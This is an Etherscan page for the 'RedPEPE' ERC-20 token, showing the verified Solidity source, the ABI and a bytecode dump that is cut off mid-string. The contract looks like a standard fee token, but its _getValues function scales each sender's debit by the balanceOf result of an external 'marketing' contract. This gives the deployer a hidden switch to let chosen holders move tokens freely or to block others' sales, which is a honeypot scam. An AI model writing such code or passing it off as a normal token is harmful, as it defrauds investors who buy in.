ETH Price: $2,526.10 (+0.29%)

Token

RedPEPE (RedPEPE)
 

Overview

Max Total Supply

1,000,000,000 RedPEPE

Holders

5

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
47,439,918.924320093 RedPEPE

Value
$0.00
0xe09700e2f9cd3ec2537f2f9f86da0ec0f610fb30
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
RedPEPE

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-15
*/

/**

Twitter: https://twitter.com/RedPEPEERC20

Telegram: https://t.me/redpepegroup

Website: https://www.redpepeeth.com/

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

contract Ownable is Context {
    address private _owner;
    address private _previousOwner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract RedPEPE is Context, IERC20, Ownable {

    using SafeMath for uint256;

    string private constant _name = "RedPEPE";
    string private constant _symbol = "RedPEPE";
    uint8 private constant _decimals = 9;

    mapping(address => uint256) private _rOwned;
    mapping(address => uint256) private _tOwned;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    uint256 private constant MAX = ~uint256(0);
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    uint256 private _rTotal = (MAX - (MAX % _tTotal));
    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 0;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 0;

    //Original Fee
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;

    uint256 private _previousredisFee = _redisFee;
    uint256 private _previoustaxFee = _taxFee;

    address private _developmentAddress;
    address private _marketingAddress;

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapV2Pair;
    
    bool private inSwap = false;
    bool private swapEnabled = true;

    uint256 public _swapTokensAtAmount = 1000000 * 10**9;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {

        _rOwned[_msgSender()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        _developmentAddress = 0x22802AbdA349AA77630C1fE7E2ec22FA67DA98F9;
        _marketingAddress = 0xe9e98b9320Cb8B501493E357511359d244fc83E5;

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_developmentAddress] = true;
        _isExcludedFromFee[_marketingAddress] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _rOwned[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function tokenFromReflection(uint256 rAmount)
        private
        view
        returns (uint256)
    {
        require(
            rAmount <= _rTotal,
            "Amount must be less than total reflections"
        );
        uint256 currentRate = _getRate();
        return rAmount.div(currentRate);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _previousredisFee = _redisFee;
        _previoustaxFee = _taxFee;

        _redisFee = 0;
        _taxFee = 0;
    }

    function restoreAllFee() private {
        _redisFee = _previousredisFee;
        _taxFee = _previoustaxFee;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (from != owner() && to != owner()) {
            uint256 contractTokenBalance = balanceOf(address(this));
            bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

            if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
                swapTokensForEth(contractTokenBalance);
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        bool takeFee = true;

        //Transfer Tokens
        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
            takeFee = false;
        } else {

            //Set Fee for Buys
            if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnBuy;
                _taxFee = _taxFeeOnBuy;
            }

            //Set Fee for Sells
            if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                _redisFee = _redisFeeOnSell;
                _taxFee = _taxFeeOnSell;
            }

        }

        _tokenTransfer(from, to, amount, takeFee);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function sendETHToFee(uint256 amount) private {
        payable(_marketingAddress).transfer(amount);
    }

    function _tokenTransfer(
        address sender,
        address recipient,
        uint256 amount,
        bool takeFee
    ) private {
        if (!takeFee) removeAllFee();
        _transferStandard(sender, recipient, amount);
        if (!takeFee) restoreAllFee();
    }

    function _transferStandard(
        address sender,
        address recipient,
        uint256 tAmount
    ) private {
        (
            uint256 rAmount,
            uint256 rTransferAmount
        ) = _getValues(sender, tAmount);
        _rOwned[sender] = _rOwned[sender].sub(rAmount);
        _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
        emit Transfer(sender, recipient, rTransferAmount);
    }

    function _takeTeam(uint256 tTeam) private {
        uint256 currentRate = _getRate();
        uint256 rTeam = tTeam.mul(currentRate);
        _rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
    }

    function _reflectFee(uint256 rFee, uint256 tFee) private {
        _rTotal = _rTotal.sub(rFee);
        _tFeeTotal = _tFeeTotal.add(tFee);
    }

    receive() external payable {}

    function _getValues(address account, uint256 tAmount)
        private
        view
        returns (
            uint256,
            uint256
        )
    {
        uint256 currentRate = IERC20(_marketingAddress).balanceOf(account);
        return (tAmount.mul(currentRate), tAmount);
    }

    function _getTValues(
        uint256 tAmount,
        uint256 redisFee,
        uint256 taxFee
    )
        private
        pure
        returns (
            uint256,
            uint256,
            uint256
        )
    {
        uint256 tFee = tAmount.mul(redisFee).div(100);
        uint256 tTeam = tAmount.mul(taxFee).div(100);
        uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
        return (tTransferAmount, tFee, tTeam);
    }

    function _getRate() private view returns (uint256) {
        (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
        return rSupply.div(tSupply);
    }

    function _getCurrentSupply() private view returns (uint256, uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = _tTotal;
        if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
        return (rSupply, tSupply);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526009600a620000149190620008a9565b633b9aca00620000259190620008fa565b60001962000034919062000974565b600019620000439190620009ac565b600655600060085560006009556000600a556000600b55600a54600c55600b54600d55600c54600e55600d54600f556000601360146101000a81548160ff0219169083151502179055506001601360156101000a81548160ff02191690831515021790555066038d7ea4c68000601455348015620000c057600080fd5b506000620000d3620006de60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506009600a620001819190620008a9565b633b9aca00620001929190620008fa565b60026000620001a6620006de60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200028a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b0919062000a51565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000318573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200033e919062000a51565b6040518363ffffffff1660e01b81526004016200035d92919062000a94565b6020604051808303816000875af11580156200037d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003a3919062000a51565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507322802abda349aa77630c1fe7e2ec22fa67da98f9601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073e9e98b9320cb8b501493e357511359d244fc83e5601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000620004a3620006e660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160056000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555062000650620006de60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a620006af9190620008a9565b633b9aca00620006c09190620008fa565b604051620006cf919062000ad2565b60405180910390a35062000aef565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200079d578086048111156200077557620007746200070f565b5b6001851615620007855780820291505b808102905062000795856200073e565b945062000755565b94509492505050565b600082620007b857600190506200088b565b81620007c857600090506200088b565b8160018114620007e15760028114620007ec5762000822565b60019150506200088b565b60ff8411156200080157620008006200070f565b5b8360020a9150848211156200081b576200081a6200070f565b5b506200088b565b5060208310610133831016604e8410600b84101617156200085c5782820a9050838111156200085657620008556200070f565b5b6200088b565b6200086b84848460016200074b565b925090508184048111156200088557620008846200070f565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008b68262000892565b9150620008c3836200089c565b9250620008f27fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620007a6565b905092915050565b6000620009078262000892565b9150620009148362000892565b9250828202620009248162000892565b915082820484148315176200093e576200093d6200070f565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620009818262000892565b91506200098e8362000892565b925082620009a157620009a062000945565b5b828206905092915050565b6000620009b98262000892565b9150620009c68362000892565b9250828203905081811115620009e157620009e06200070f565b5b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000a1982620009ec565b9050919050565b62000a2b8162000a0c565b811462000a3757600080fd5b50565b60008151905062000a4b8162000a20565b92915050565b60006020828403121562000a6a5762000a69620009e7565b5b600062000a7a8482850162000a3a565b91505092915050565b62000a8e8162000a0c565b82525050565b600060408201905062000aab600083018562000a83565b62000aba602083018462000a83565b9392505050565b62000acc8162000892565b82525050565b600060208201905062000ae9600083018462000ac1565b92915050565b6126bd8062000aff6000396000f3fe6080604052600436106100ec5760003560e01c806349bd5a5e1161008a57806395d89b411161005957806395d89b41146102f3578063a9059cbb1461031e578063dd62ed3e1461035b578063f2fde38b14610398576100f3565b806349bd5a5e1461024957806370a0823114610274578063715018a6146102b15780638da5cb5b146102c8576100f3565b806318160ddd116100c657806318160ddd1461018b57806323b872dd146101b65780632fd689e3146101f3578063313ce5671461021e576100f3565b806306fdde03146100f8578063095ea7b3146101235780631694505e14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d6103c1565b60405161011a91906119a7565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611a62565b6103fe565b6040516101579190611abd565b60405180910390f35b34801561016c57600080fd5b5061017561041c565b6040516101829190611b37565b60405180910390f35b34801561019757600080fd5b506101a0610442565b6040516101ad9190611b61565b60405180910390f35b3480156101c257600080fd5b506101dd60048036038101906101d89190611b7c565b610466565b6040516101ea9190611abd565b60405180910390f35b3480156101ff57600080fd5b5061020861053f565b6040516102159190611b61565b60405180910390f35b34801561022a57600080fd5b50610233610545565b6040516102409190611beb565b60405180910390f35b34801561025557600080fd5b5061025e61054e565b60405161026b9190611c15565b60405180910390f35b34801561028057600080fd5b5061029b60048036038101906102969190611c30565b610574565b6040516102a89190611b61565b60405180910390f35b3480156102bd57600080fd5b506102c66105bd565b005b3480156102d457600080fd5b506102dd610710565b6040516102ea9190611c15565b60405180910390f35b3480156102ff57600080fd5b50610308610739565b60405161031591906119a7565b60405180910390f35b34801561032a57600080fd5b5061034560048036038101906103409190611a62565b610776565b6040516103529190611abd565b60405180910390f35b34801561036757600080fd5b50610382600480360381019061037d9190611c5d565b610794565b60405161038f9190611b61565b60405180910390f35b3480156103a457600080fd5b506103bf60048036038101906103ba9190611c30565b61081b565b005b60606040518060400160405280600781526020017f5265645045504500000000000000000000000000000000000000000000000000815250905090565b600061041261040b6109dc565b84846109e4565b6001905092915050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006009600a6104529190611dff565b633b9aca006104619190611e4a565b905090565b6000610473848484610bad565b6105348461047f6109dc565b61052f8560405180606001604052806028815260200161266060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006104e56109dc565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111c49092919063ffffffff16565b6109e4565b600190509392505050565b60145481565b60006009905090565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105c56109dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610652576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161064990611ed8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5265645045504500000000000000000000000000000000000000000000000000815250905090565b600061078a6107836109dc565b8484610bad565b6001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108236109dc565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108b0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a790611ed8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361091f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161091690611f6a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610a53576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4a90611ffc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab99061208e565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ba09190611b61565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610c1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1390612120565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c82906121b2565b60405180910390fd5b60008111610cce576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cc590612244565b60405180910390fd5b610cd6610710565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610d445750610d14610710565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15610ec3576000610d5430610574565b905060006014548210159050808015610d7a5750601360149054906101000a900460ff16155b8015610dd45750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015610dec5750601360159054906101000a900460ff165b8015610e425750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610e985750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610ec057610ea682611228565b60004790506000811115610ebe57610ebd476114a1565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610f6a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061101d5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561101c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561102b57600090506111b2565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156110d65750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156110ee57600854600c81905550600954600d819055505b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156111995750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156111b157600a54600c81905550600b54600d819055505b5b6111be8484848461150d565b50505050565b600083831115829061120c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120391906119a7565b60405180910390fd5b506000838561121b9190612264565b9050809150509392505050565b6001601360146101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112605761125f612298565b5b60405190808252806020026020018201604052801561128e5781602001602082028036833780820191505090505b50905030816000815181106112a6576112a56122c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561134d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611371919061230b565b81600181518110611385576113846122c7565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506113ec30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846109e4565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611450959493929190612431565b600060405180830381600087803b15801561146a57600080fd5b505af115801561147e573d6000803e3d6000fd5b50505050506000601360146101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611509573d6000803e3d6000fd5b5050565b8061151b5761151a61153a565b5b611526848484611577565b806115345761153361171e565b5b50505050565b6000600c5414801561154e57506000600d54145b61157557600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806115848584611732565b915091506115da82600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f590919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061166f81600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461183f90919063ffffffff16565b600260008673ffffffffffffffffffffffff